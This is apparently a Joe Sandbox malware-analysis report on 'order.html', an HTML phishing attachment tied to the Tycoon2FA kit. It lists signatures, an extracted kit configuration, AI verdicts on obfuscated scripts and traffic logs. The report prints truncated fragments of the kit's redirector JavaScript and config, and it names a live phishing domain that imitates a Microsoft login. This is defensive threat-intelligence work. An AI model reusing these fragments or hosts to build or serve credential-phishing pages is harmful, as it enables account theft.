Edit tour

Windows Analysis Report
order.html

Overview

General Information

Sample name:	order.html (renamed file extension from none to html)
Original sample name:	order
Analysis ID:	1671345
MD5:	ad28ab11b0adbf182eb6e47a9aaad884
SHA1:	a621320997d2f26478b06c2170f5b128d4fa60e0
SHA256:	6ba27d6bbd1503618031239ca1c39b9b7a32f39fa2f0db569e3bc16be67bda09
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

HTML file submission requesting Cloudflare captcha challenge

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML document with suspicious name

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6060 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3860 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1988,i,1729154718353865194,6390418979746361154,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2028 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6836 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\order.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "3XQP",
  "emailcheck": "email@gmail.com",
  "webname": "rtrim(/web8/, '/')",
  "urlo": "/ajya41Bpa0wbRdhlEPIQoBfMQup6Cn793miqFyTzMHkTmm3ZZHdMtIpe"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_131	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
2.17..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.17..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.13.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.19.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
2.15..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.15..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.8..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.2.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.21..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.3.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.7.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.6.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.7.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.7.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.9.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.10.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.10.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.10.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.8.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.6.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.8.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.3.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.8.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.9.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.9.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 25 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Data Obfuscation
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 2.19.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "3XQP", "emailcheck": "email@gmail.com", "webname": "rtrim(/web8/, '/')", "urlo": "/ajya41Bpa0wbRdhlEPIQoBfMQup6Cn793miqFyTzMHkTmm3ZZHdMtIpe"}

Phishing

AI detected phishing page

Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'ranr5.oqgriud.es' does not match the legitimate domain for Microsoft., The URL contains a random subdomain and a domain name that does not relate to Microsoft, which is suspicious., The domain extension '.es' is not typically associated with Microsoft's main services., The presence of a password input field on a non-legitimate domain increases the risk of phishing. DOM: 2.8.pages.csv
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'ranr5.oqgriud.es' does not match the legitimate domain for Microsoft., The URL contains a random subdomain and a domain name that does not relate to Microsoft, which is suspicious., The domain extension '.es' is not typically associated with Microsoft's main services., The presence of input fields for 'Email, phone, or Skype' is common for Microsoft services, but the URL does not match Microsoft's domain, increasing suspicion. DOM: 2.9.pages.csv
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'ranr5.oqgriud.es' does not match the legitimate domain for Microsoft., The URL contains a random subdomain 'ranr5' and a domain 'oqgriud.es' which is not associated with Microsoft., The domain extension '.es' is unusual for Microsoft, which typically uses '.com'., The URL structure and domain name do not align with Microsoft's known web properties. DOM: 2.10.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.10.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.8.pages.csv, type: HTML
Source: Yara match	File source: 2.9.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.8..script.csv, type: HTML
Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 2.21..script.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_131, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 2.19.d.script.csv, type: HTML
Source: Yara match	File source: 2.17..script.csv, type: HTML
Source: Yara match	File source: 1.13.d.script.csv, type: HTML
Source: Yara match	File source: 1.4.d.script.csv, type: HTML
Source: Yara match	File source: 2.15..script.csv, type: HTML
Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.9.pages.csv, type: HTML
Source: Yara match	File source: 2.10.pages.csv, type: HTML
Source: Yara match	File source: 2.8.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/order.html... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The script checks for the presence of a webdriver (likely to detect automated testing) and then decodes and executes a potentially malicious payload. This behavior is highly suspicious and indicative of a malicious script, likely used for phishing or other malicious activities.
Source: 2.18..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqr... This script demonstrates several high-risk behaviors, including dynamic code execution via `eval()` and potential data exfiltration. The use of obfuscated code and multiple fallback domains further increases the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent.
Source: 1.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com... This script demonstrates several high-risk behaviors, including dynamic code execution through the use of `atob` and `String.fromCharCode` to decode and execute obfuscated code. The script also appears to be sending data to an external domain, which is a potential data exfiltration concern. Additionally, the heavily obfuscated code and URL structure further increase the risk score. Overall, this script exhibits a high level of suspicious and potentially malicious activity.
Source: 2.15..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqr... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to detect the presence of web automation tools, redirects to a suspicious domain, and includes a function that appears to decrypt and execute additional code. These factors indicate a high likelihood of malicious intent, warranting a high-risk score.
Source: 2.17..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqr... This script exhibits several high-risk behaviors, including detecting browser automation tools, blocking common keyboard shortcuts, preventing right-click context menus, and forcibly redirecting the user to an unrelated website. Additionally, it includes code to monitor the user's performance and trigger a redirect if certain conditions are met, which could indicate malicious intent. The script also attempts to override the clipboard content, which could be used for phishing or other social engineering attacks. Overall, this script demonstrates a high level of malicious behavior and poses a significant risk to the user's security and privacy.
Source: 1.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com... This script demonstrates high-risk behaviors, including dynamic code execution through the use of a Proxy object that evaluates decoded strings. The obfuscated nature of the code and the potential for remote code execution make this a high-risk script.
Source: 1.3..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of the `atob` function to decode a base64-encoded URL and the subsequent execution of the decoded content via `eval` is a clear indicator of malicious intent. Additionally, the script appears to be sending data to an unknown domain, which further raises suspicion. Overall, this script exhibits a high level of risk and should be treated with caution.
Source: 2.21..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ranr5.oqgriud.es/342AK1W0a0NgfMKS7yiaNmzYk... This script demonstrates highly suspicious and malicious behavior. It uses the `eval()` function to execute dynamic code, which poses a significant security risk. The script also appears to be heavily obfuscated, making it difficult to analyze and understand its true purpose. Overall, this script should be considered a high-risk threat and should not be executed under any circumstances.
Source: 1.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of a debugger, and the attempt to redirect the user to an external domain (even if it's Google) are all strong indicators of malicious intent. Overall, this script poses a significant security risk and should be treated with caution.

Detected javascript redirector / loader

Source: order.html

HTTP Parser: Low number of body elements: 0

Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP

HTTP Parser: Number of links: 0

Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: order.html

HTTP Parser: Base64 decoded: VJYU^^MGE>>9AXACMFCGQZOZMTE_BUBQbMT$RDPFdX8^Z]KCZkCSOZXRY@_ZK[AVAAU^Q_CD[v2SL^

Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP

HTTP Parser: Title: Secure Your Account Login does not match URL

Source: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com	HTTP Parser: function eoreblfwqm(){window.location.replace('https://google.com');var apzjcgqzyu = document.currentscript;apzjcgqzyu.parentnode.removechild(apzjcgqzyu);}var kqmryapfui = "v";var lwxihfgmah = "a";var uwslcnviha = window.location.hash.substr(1);if (uwslcnviha) {uwslcnviha = uwslcnviha.split('#').pop();}if (!uwslcnviha) { const urlparams = new urlsearchparams(window.location.search); if (window.location.href.includes('%23')) { uwslcnviha = window.location.href.split('%23').pop(); } if (window.location.href.includes('?')) { uwslcnviha = window.location.href.split('?').pop(); kqmryapfui = ""; lwxihfgmah = ""; } if (window.location.href.includes('')) { uwslcnviha = window.location.href.split('').pop().replace(/%7b/g, '').replace(/%7d/g, ''); if (kcfkduicqr(uwslcnviha)) { kqmryapfui = "wq"; lwxihfgmah = ""; uwslcnviha = uwslcnviha; } else { kqmryapfui = ""; lwxihfgmah = ""; ...
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "3xqp";var emailcheck = "email@gmail.com";var webname = "rtrim(/web8/, '/')";var urlo = "/ajya41bpa0wbrdhlepiqobfmqup6cn793miqfytzmhktmm3zzhdmtipe";var gdf = "/ijee7lxbcioa4etdea8dmtyyzfg9yfxpnaowcd120";var odf = "/ijqx0r7spz0hfsafueqaul8uxdiqwxgvwc8f70lxnnpab650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "https://login.microsoftonline.com/common/sas/processauth";var useragent = navigator.useragent;var browsername;var userip;var usercou...

Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP

HTTP Parser: <input type="password" .../> found

Source: order.html	HTTP Parser: No favicon
Source: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com	HTTP Parser: No favicon
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: No favicon
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: No favicon
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: No favicon
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: No favicon

Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: No <meta name="author".. found
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: No <meta name="author".. found
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: No <meta name="author".. found
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: No <meta name="author".. found

Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: No <meta name="copyright".. found
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: No <meta name="copyright".. found
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: No <meta name="copyright".. found
Source: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.69.4:443 -> 192.168.2.4:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.106:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.106:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.254:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.190:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.190:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.35.32:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.109.75:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.109.75:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.114.4:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.109.75:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.37:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.91:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49832 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 140.82.114.4 140.82.114.4
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 104.26.1.100 104.26.1.100

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.68.227
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.68.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.68.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.68.227
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.68.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.68.227
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xWG7spS/$email@gmail.com HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
